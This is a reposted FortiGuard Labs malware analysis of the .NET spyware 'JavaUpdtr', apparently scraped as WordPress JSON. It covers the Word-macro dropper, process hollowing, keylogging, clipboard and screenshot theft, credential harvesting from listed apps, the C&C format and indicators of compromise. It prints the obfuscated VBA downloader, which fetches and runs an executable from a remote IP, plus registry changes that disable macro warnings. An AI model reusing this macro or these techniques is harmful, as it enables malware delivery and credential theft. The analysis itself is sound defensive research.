{"id":8189,"date":"2017-06-28T08:40:02","date_gmt":"2017-06-28T16:40:02","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/06\/28\/news-1965\/"},"modified":"2017-06-28T08:40:02","modified_gmt":"2017-06-28T16:40:02","slug":"news-1965","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/06\/28\/news-1965\/","title":{"rendered":"In-Depth Analysis of .NET Malware JavaUpdtr"},"content":{"rendered":"<p><strong>Credit to Author: Xiaopeng Zhang| Date: Wed, 28 Jun 2017 16:15:52 +0000<\/strong><\/p>\n<div class=\"entry\">\n<h2>Background<\/h2>\n<p>FortiGuard Labs recently captured some malware which was developed using&nbsp;the Microsoft .Net framework. I analyzed one of them, and in this blog, I&rsquo;m going to show you how it is able to steal information from a victim&rsquo;s machine.<\/p>\n<p>The malware was spread via a Microsoft Word document that contained an auto-executable malicious VBA Macro. Figure 1 below shows how it looks when it&rsquo;s opened.<\/p>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr001.png\" style=\"width: 1020px; height: 727px;\" \/><\/p>\n<p align=\"center\">Figure 1. When the malicious Word document is opened<\/p>\n<h3>What the VBA code does<\/h3>\n<p>Once you click the &ldquo;Enable Content&rdquo; button, the malicious VBA Macro is executed covertly in the background. The code first writes some key values into the device&rsquo;s system registry to avoid the Macro security warning when opening Word documents with risky content the next time. &nbsp;<\/p>\n<p>Here are the key values it writes into system registry:<\/p>\n<blockquote>\n<p><em>HKCUSoftwareMicrosoftOffice{word version}WordSecurity,AccessVBOM, dword, 1<\/em><\/p>\n<p><em>HKCUSoftwareMicrosoftOffice{word version}WordSecurity,VBAWarning, dword, 1<\/em><\/p>\n<\/blockquote>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr002.png\" style=\"width: 932px; height: 387px;\" \/><\/p>\n<p align=\"center\">Figure 2. Writing two key values into the system registry<\/p>\n<p>Once that task is completed, it re-opens this Word document in a new Word program instance and exits. The Macro is executed again, but this time it follows a different code branch. The main purpose of the Macro executed in the new Word program instance is to dynamically extract a new VBA function (<em>ljRIpdKkSmQPMbnLdh<\/em>) and get it called.<\/p>\n<p>Let&rsquo;s take a look at this function:<\/p>\n<blockquote>\n<pre>  <strong><em>Sub ljRIpdKkSmQPMbnLdh<\/em><\/strong><em>()<\/em>    <em>    Dim dmvAQJch As String<\/em>    <em>    Dim JWyaIoTHtZaFG As String<\/em>    <em>    Dim TrbaApjsFydVkOGwjnzkpOB As String<\/em>    <em>    dmvAQJch = <span style=\"background-color:#FFFF00;\">CreateObject<\/span>(ThisDocument.bQYHDG(&quot;66627281787F833D6277747B7B&quot;, <\/em>    <em>15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG(&quot;3463747C7F34&quot;, 15))<\/em>    <em>    JWyaIoTHtZaFG = ThisDocument.bQYHDG(&quot;6B&quot;, 15)<\/em>    <em>    TrbaApjsFydVkOGwjnzkpOB = ThisDocument.bQYHDG(&quot;797085823D748774&quot;, 15)<\/em>    <em>    dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVkOGwjnzkpOB<\/em>    <em>    Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String<\/em>    <em>    cllbWRRTqqWoZebEpYdGmnPBLAx = ThisDocument.bQYHDG(&quot;7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774&quot;, <\/em>    <em>15)<\/em>    <em>    Dim OhYBGFWMcPWNnpvvuTeitVAK As Object<\/em>    <em>    Set OhYBGFWMcPWNnpvvuTeitVAK = <\/em>    <em><span style=\"background-color:#FFFF00;\">CreateObject<\/span>(ThisDocument.bQYHDG(&quot;5C7872817E827E75833D675C5B5763635F&quot;, 15))<\/em>    <em>    OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG(&quot;565463&quot;, 15), cllbWRRTqqWoZebEpYdGmnPBLAx, False<\/em>    <em>    OhYBGFWMcPWNnpvvuTeitVAK.<span style=\"background-color:#FFFF00;\">send<\/span><\/em>      <em>    If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then<\/em>    <em>        Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object<\/em>    <em>        Set BIPvJqwtceisuIuipCzbpsWRuhRwp = <\/em>    <em>CreateObject(ThisDocument.bQYHDG(&quot;50535E53513D62838174707C&quot;, 15))<\/em>    <em>        BIPvJqwtceisuIuipCzbpsWRuhRwp.Open<\/em>    <em>        BIPvJqwtceisuIuipCzbpsWRuhRwp.Type = 1<\/em>    <em>        BIPvJqwtceisuIuipCzbpsWRuhRwp.Write OhYBGFWMcPWNnpvvuTeitVAK.<span style=\"background-color:#FFFF00;\">responseBody<\/span><\/em>    <em>        BIPvJqwtceisuIuipCzbpsWRuhRwp.<span style=\"background-color:#FFFF00;\">SaveToFile<\/span> dmvAQJch, 2<\/em>    <em>        BIPvJqwtceisuIuipCzbpsWRuhRwp.Close<\/em>    <em>    End If<\/em>    <em>    If Len(Dir(dmvAQJch)) &lt;&gt; 0 Then<\/em>    <em>        Dim TGoCeWgrszAukk<\/em>    <em>        TGoCeWgrszAukk = <span style=\"background-color:#FFFF00;\">Shell<\/span>(dmvAQJch, 0)<\/em>    <em>    End If<\/em>    <strong><em>End Sub<\/em><\/strong><\/pre>\n<\/blockquote>\n<p>All key words in this function are encoded. Here they are after decoding:<\/p>\n<blockquote>\n<pre>  <em>bQYHDG(&quot;66627281787F833D6277747B7B&quot;, 15) =&gt; <\/em>&ldquo;<span style=\"background-color:#FFFF00;\">WScript.Shell<\/span>&rdquo;    <em>bQYHDG(&quot;3463747C7F34&quot;, 15) =&gt; <\/em><span style=\"background-color:#FFFF00;\">&ldquo;%Temp%&rdquo;<\/span>    bQYHDG(&quot;797085823D748774&quot;, 15) =&gt; &ldquo;javs.exe&rdquo;    bQYHDG(&quot;7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774&quot;, 15) =&gt; <span style=\"background-color:#FFFF00;\">&ldquo;hxxp:\/\/45.77.35.239\/1\/today.exe&rdquo;<\/span>    <em>bQYHDG(&quot;5C7872817E827E75833D675C5B5763635F&quot;, 15) =&gt; <\/em><span style=\"background-color:#FFFF00;\">&ldquo;Microsoft.XMLHTTP&rdquo;<\/span>    <em>bQYHDG(&quot;565463&quot;, 15) =&gt; <\/em><span style=\"background-color:#FFFF00;\">&ldquo;Get&rdquo;<\/span><\/pre>\n<\/blockquote>\n<p>As you may have realized from the highlighted keywords, this malware is designed to download an executable file and run it by calling the &ldquo;Shell&rdquo; function. Indeed, it downloads the file &ldquo;today.exe&rdquo; to &ldquo;%Temp%javs.exe&rdquo;, and runs it.<\/p>\n<h3>The downloaded exe file<\/h3>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr004.png\" style=\"width: 779px; height: 441px;\" \/><\/p>\n<p align=\"center\">Figure 3. Detailed information of the downloaded javs.exe file<\/p>\n<p>From the analysis result of the PE analysis tool in Figure 3, we know that the downloaded &ldquo;javs.exe&rdquo; was built&nbsp;with&nbsp;.Net Framework. Looking at its icon, it is easy to assume that this is a pdf related file. But it&rsquo;s not. This is simply a deception used to confuse the victim.<\/p>\n<p>Once executed, it starts another process by calling the function CreateProcessA with the CREATE_SUSPENDED flag. This procedure could allow the memory of the second process to be modified by calling the function WriteProcessMemory. Finally, the process is restored to run by calling the functions SetThreadContext and ResumeThread.<\/p>\n<p>Figure 4, below, shows how CreateProcessA is called.<\/p>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr005.png\" style=\"width: 1029px; height: 675px;\" \/><\/p>\n<p align=\"center\">Figure 4. javs.exe calls CreateProcessA<\/p>\n<p>Through my analysis, I was able to determine that the data being injected into the second process by calling WriteProcessMemory is another executable file. This file was decoded from a BMP resource in the first javs.exe process. Interestingly, the injected executable was also built with .Net framework.<\/p>\n<p>As you may know, the .Net program only contains complied bytecode. This code can only be parsed and executed in its .Net CLR virtual machine. As a result, debugging a .Net program using the usual Ollydbg or Windbg tools is a challenge. So I had to determine which other analysis tools would work.<\/p>\n<h2>Analysis of the second .Net program<\/h2>\n<p>From the above analysis, I was able to determine that the second .Net program had been dynamically decoded from the javs.exe process memory. So the next challenge was capturing its entire data and saving it as an exe file for analysis. To do that, I used the memory tool to dump it directly from the second process memory. Figure 5 shows what the dumped file looks like in the analysis tool.<\/p>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr006.png\" style=\"width: 733px; height: 556px;\" \/><\/p>\n<p align=\"center\">Figure 5. Dumped memory file in analysis tool<\/p>\n<p>The &ldquo;File is corrupted&rdquo; warning obviously occurs because the dumped file&rsquo;s PE header was wrong. I manually repaired the PE header using a sort of unpacking technique.&nbsp; After that, the dumped file could be recognized, statically analyzed, and debugged. In Figure 6 below, you can see the repaired file was recognized as a .Net assembly, and you even can see .NET Directory information in CFF Explorer.<\/p>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr007.png\" style=\"width: 896px; height: 502px;\" \/><\/p>\n<p align=\"center\">Figure 6. Repaired dump file in analysis tool<\/p>\n<p>The author of the malware used some anti-analysis techniques to prevent it from being analyzed.&nbsp; For example, obfuscation is used to make the function names and variable names difficult to understand, and encoding is used to hide key words and data so analysts have a hard time understanding what it is trying to do. The repaired .Net program even causes the static analysis tool .NET Reflector to not work because the names of classes, functions, and variables are unreadable. From Figure 7 below, you can see what the code looks like using these techniques.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr008.png\" style=\"width: 1280px; height: 714px;\" \/><\/p>\n<p align=\"center\">Figure 7. The Main function with anti-analysis techniques<\/p>\n<p>To better analyze the malware, I tried to rename parts of the unreadable names. So please note that in the following analysis the unreadable names in the referred code have been renamed to readable names.<\/p>\n<p>Ok, at this point we are finally ready to do the analysis.&nbsp; Let&rsquo;s get started to see what is going to happen.<\/p>\n<h2>Analysis of the .Net malware<\/h2>\n<p>Once executed, it goes through the current running processes to kill any duplicate processes found. It then sends &ldquo;uninstall&rdquo; and &ldquo;update&rdquo; commands to the C&amp;C server. If the response to the &ldquo;uninstall&rdquo; command from the server contains an &ldquo;uninstall&rdquo; string, it cleans up the information it has written on the victim&rsquo;s machine and exits. When I ran the malware, no &ldquo;uninstall&rdquo; string was contained in the response, so I could proceed with the analysis. The following two Figures show you how the &ldquo;update&rdquo; command is sent to the C&amp;C server.<\/p>\n<p align=\"center\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr009.png\" style=\"width: 865px; height: 500px;\" \/><\/p>\n<p align=\"center\">Figure 8. Sending &ldquo;update&rdquo; command to C&amp;C server<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr010.png\" style=\"width: 1098px; height: 592px;\" \/><\/p>\n<p align=\"center\">Figure 9. Function used to send data to the C&amp;C server<\/p>\n<p>From Figure 9, we learn that the URL of the C&amp;C server is &ldquo;hxxp:\/\/www.vacanzaimmobiliare.it\/testla\/WebPanel\/post.php&rdquo;, which was decrypted in the &ldquo;SendToCCServer&rdquo; function. The HTTP method is &ldquo;POST&rdquo;, which was also decrypted.<\/p>\n<p>Next, it copies itself from &ldquo;%temp%javs.exe&rdquo; to &ldquo;%appdata%JavaJavaUpdtr.exe&rdquo;. In this way it disguises itself by looking like an update program for Java. It then writes the full path into the value &quot;SoftwareMicrosoftWindows NTCurrentVersionWindowsload&quot; in the system registry so that &ldquo;JavaUpdtr.exe&rdquo; can be executed automatically when the system starts.<\/p>\n<p>The code snippet below shows us how the full path to &ldquo;JavaUpdtr.exe&rdquo; is defined.<\/p>\n<blockquote>\n<pre>  <em><span style=\"color:#0000FF;\">private static string<\/span> appdata_Java_JavaUpdtr.exe = Environment.GetEnvironmentVariable(&quot;<span style=\"color:#FF0000;\">appdata<\/span>&quot;) + &quot;<span style=\"color:#FF0000;\">\\Java\\JavaUpdtr.exe<\/span>&quot;;<\/em><\/pre>\n<\/blockquote>\n<p>This malware can record the victim&rsquo;s keyboard inputs, steal data from the system clipboard when its content changes, capture screenshots of the victim&rsquo;s system screen, and collect credentials from installed software that the malware is interested in. To complete these tasks, it creates a variety of threads and timers.<\/p>\n<p>In the following sections I&rsquo;ll discuss them in detail.<\/p>\n<h2>Stealing keyboard inputs, system clipboard contents, and screen shots<\/h2>\n<p>Before the Main function is called, three hook objects are defined in the construction function of the main class. These are used for hooking the Keyboard, Mouse, and Clipboard.&nbsp; It then sets hook functions for all of them so that when victim inputs something by keyboard, or when the clipboard data is changed (Ctrl+C), the hook functions will be called first. Figure 10 shows part of the hook function of the key down event.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr011.png\" style=\"width: 964px; height: 682px;\" \/><\/p>\n<p align=\"center\">Figure 10. Key &ldquo;down&rdquo; event hook function<\/p>\n<p>In this function, it first grabs the Window title where the victim types in and puts it into an html code. Next, it captures which key the victim presses, and converts the key code string into an html code. For example, &ldquo;<img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdtr%20screen%201.png\" style=\"width: 369px; height: 21px;\" \/>&quot;. As you can see, the html code is concatenated to the variable &ldquo;<em>pri_string_saveAllStolenKey_Clipboard_Data<\/em>&rdquo;. Note: I modified the name to be readable.<\/p>\n<p>In the hook function for the system clipboard, it goes through a similar process. It captures the clipboard content every time the clipboard content is changed (e.g press Ctrl+C , Ctrl+X, etc.) by calling the function Clipboard.GetText(). It then puts the collected data into an html code, and again concatenates it to the variable &ldquo;<em>pri_string_saveAllStolenKey_Clipboard_Data<\/em>&rdquo;. Figure 11 is the code snippet of this function.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr012.png\" style=\"width: 995px; height: 315px;\" \/><\/p>\n<p align=\"center\">Figure 11. Clipboard change event hook function<\/p>\n<p>It also creates a timer whose function is called every 10 minutes.&nbsp; In the timer function, it captures screenshots of the victim&rsquo;s screen and then uses the API &ldquo;<em>Graphics::CopyFromScreen<\/em>&rdquo; to grab the screenshots and saves them into the file &ldquo;%appdata%ScreenShotscreen.jpeg&rdquo;. It later encodes the file screen.jpeg with base64 and then sends it to its C&amp;C server using the command &ldquo;screenshots&rdquo;.<\/p>\n<p>It keeps taking screenshots every 10 minutes and sends them to the C&amp;C server so the malware author can see what the victim is doing. Figure 12 shows the malware sending out a screen.jpeg file by calling the sending function.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr013.png\" style=\"width: 973px; height: 537px;\" \/><\/p>\n<p align=\"center\">Figure 12. Sending out a screenshot file<\/p>\n<h2>Stealing the credentials of installed software<\/h2>\n<p>At the end of the Main function, it creates another thread whose function is to collect credentials from a variety of software on the victim&rsquo;s machine. It can collect user credentials from the system registry, local profile files, SQLite database files, and so on. Once it has captured the credentials of one the software packages it is looking for, it immediately sends it to the C&amp;C server. One HTTP packet contains the credentials of one software package.<\/p>\n<p>Based on my analysis, this malware is able to obtain the credentials from the following software.<\/p>\n<h3>Browser clients:<\/h3>\n<p>Google Chrome, Mozilla &nbsp;Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser.<\/p>\n<h3>Email clients:<\/h3>\n<p>Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!.<\/p>\n<h3>FTP clients:<\/h3>\n<p>FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander.<\/p>\n<h3>Dynamic DNS:<\/h3>\n<p>DynDNS, No-IP.<\/p>\n<h3>Video chatting<strong>:<\/strong><\/h3>\n<p>Paltalk, Pidgin.<\/p>\n<h3>Download management:<\/h3>\n<p>Internet Download Manager, JDownloader.<\/p>\n<p>In my test environment, I installed Microsoft Office Outlook with a Gmail account. Figure 13 shows what Outlook data is sent to the C&amp;C server.<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr014.png\" style=\"width: 923px; height: 364px;\" \/><\/p>\n<p align=\"center\">Figure 13. Sending the captured credentials of Microsoft Office Outlook<\/p>\n<h2>C&amp;C command format<\/h2>\n<p>Below is the C&amp;C command format string.<\/p>\n<p>&quot;type={0}&amp;hwid={1}&amp;time={2}&amp;pcname={3}&amp;logdata={4}&amp;screen={5}&amp;ipadd={6}&amp;wbscreen={7}&amp;client={8}&amp;link={9}&amp;username={10}&amp;password={11}&amp;screen_name={12}&quot;<\/p>\n<p>Next, I will explain the meaning of each field.<\/p>\n<p>&nbsp;&quot;type&quot; holds the command name; &quot;hwid&quot; is the hardware id; &quot;time&quot; is the current date and time; &quot;pcname&quot; consists of the user name and computer name; &quot;logdata&quot; consists of key log and clipboard data; &quot;screen&quot; is base64 encoded screen.jpeg file content; &quot;ipadd&quot; is not used; &quot;wbscreen&quot; consists of picture content from the camera; &quot;client&quot; is the name of the software; &quot;link&quot; is the software&rsquo;s website; &quot;username&quot; is the logon user name; &quot;password&quot; is the logon password; &quot;screen_name&quot; is not used .<\/p>\n<p>In the table below, all the C&amp;C commands (type field) that the malware supports are listed.<\/p>\n<h2>  Other features<\/h2>\n<p>Through my analysis I was able to determine that this is a spyware designed to collects a victim&rsquo;s system information, and continually record the victim&rsquo;s keyboard inputs, changes to the system clipboard, as well as capture the credentials of a number of popular software tools.&nbsp; Finally, it sends all the collected data to its C&amp;C server.<\/p>\n<p>However, by carefully going through the decompiled *.cs files, I was able to discover some additional features built into this malware that are not currently used. They include:<\/p>\n<ul>\n<li>Using the SMTP protocol to communicate with the server instead of HTTP.<\/li>\n<li>Obtaining system hardware information, including processor, memory, and video card.<\/li>\n<li>Enabling the collection of images from victim&rsquo;s camera.<\/li>\n<li>Restarting the system after adding &ldquo;JavaUptr.exe&rdquo; to the startup group in the system registry.<\/li>\n<li>Killing any running analysis processes, AV software, or Keylogger software, etc.<\/li>\n<\/ul>\n<p>There is the possibility that these features will be used in future versions.<\/p>\n<h2>Solution<\/h2>\n<p>The Word sample is detected as &ldquo;WM\/Agent.DJO!tr.dldr&rdquo;, and Javs.exe has been detected as &ldquo;MSIL\/Generic.AP.EA826!tr&rdquo; by FortiGuard AntiVirus service.<\/p>\n<p>The URL of the C&amp;C server has been detected as &ldquo;Malicious Websites&rdquo; by FortiGuard WebFilter service.<\/p>\n<h2>IoC:<\/h2>\n<h2>URL:<\/h2>\n<p>45.77.35.239\/1\/today.exe<\/p>\n<p>www.vacanzaimmobiliare.it\/testla\/WebPanel\/post.php<\/p>\n<h2>Sample SHA256:<\/h2>\n<p>Yachtworld Invoice Outstanding.doc<\/p>\n<p><em>1A713E4DDD8B1A6117C10AFE0C45496DFB61154BFF79A6DEE0A9FFB0518F33D3<\/em><\/p>\n<p>Javs.exe<\/p>\n<p><em>5D4E22BE32DCE5474B61E0DF305861F2C07B10DDADBC2DC937481<\/em><\/p>\n<\/div<br \/><a href=\"https:\/\/blog.fortinet.com\/2017\/06\/28\/in-depth-analysis-of-net-malware-javaupdtr\" target=\"bwo\" >https:\/\/blog.fortinet.com\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/JavaUpdatr001.png\"\/><\/p>\n<p><strong>Credit to Author: Xiaopeng Zhang| Date: Wed, 28 Jun 2017 16:15:52 +0000<\/strong><\/p>\n<p>FortiGuard Labs recently captured some malware which was developed\u00a0with the Microsoft .Net framework. I analyzed one of them, and in this blog, I\u2019m going to show you how it is able to steal information from a victim\u2019s machine.    The malware was spread via a Microsoft Word document that contained an auto-executable malicious VBA Macro. Figure 1 below shows how it looks when it\u2019s opened.        Figure 1. When the malicious Word document is opened    What the VBA code does    Once you click the \u201cEnable Content\u201d&#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10424,10378],"tags":[],"class_list":["post-8189","post","type-post","status-publish","format-standard","hentry","category-fortinet","category-security"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=8189"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8189\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=8189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=8189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=8189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}